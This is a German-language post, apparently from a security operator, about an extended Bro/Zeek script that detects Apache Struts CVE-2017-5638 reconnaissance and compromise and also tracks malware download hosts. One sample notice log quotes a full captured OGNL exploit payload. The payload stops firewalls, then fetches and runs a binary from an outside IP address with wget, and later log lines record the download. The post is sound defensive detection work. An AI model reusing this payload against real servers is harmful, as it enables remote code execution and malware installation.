
Erkennung von Aufklärungs- und Kompromittierungsversuchen gegen Apache Struts
Ich habe Scott Campbells Skript weiter erweitert und es komplizierter gemacht :)
Während "HTTP_StrutsAttack" 100 % der Aufklärung stoppt, bestand immer noch eine winzige Chance, dass ein Scanner, der ein verwundbares System trifft, trotz Blockierung des Scanners das in der HTTP-Anfrage enthaltene wget ausführt und die Malware lädt. Da wir die IP-Adresse des Malware-Downloads in der wget-URL nicht blockieren, die fast immer eine andere ist als die Aufklärungs-IP.
Daher extrahiert das erweiterte Skript auch die Malware-Download-IP
Generieren Sie die folgenden Benachrichtigungen:
redef enum Notice::Type += {
Attempt,
MalwareURL,
HostileDomainLookup,
MalwareURLClick,
FileDownload,
Compromise,
};
Dieses Skript extrahiert nun die "wget"-URL aus dem Attempt und wenn die URL eine Domain (oder eine durch CNAME verknüpfte Domain) hat, verfolgt das Skript die IP-Adressen des Malware-Hosts weiter und überwacht Aktivitäten.
Falls die wget-URL in http gesehen wird, generieren wir eine MalwareURLClick-Benachrichtigung
Weitere Benachrichtigungen für FileDownload und Compromise.
Dieses Skript ist auch clusterisiert.
Ich habe es über 24 Stunden laufen lassen und es sieht stabil aus in Bezug auf das Skript. Ich bin mir dennoch sicher, dass es einige schwache Erkennungslücken geben könnte. Also zögern Sie nicht, Änderungen vorzunehmen, und lassen Sie es mich wissen.
Überraschenderweise sehe ich im Gegensatz zu früheren Zeiten keine große Anzahl von Struts-Scannern. Ich sehe etwa ~20 pro Tag statt ~1.000 pro Tag.
Hier sind Beispiel-Benachrichtigungen:
1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -
1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F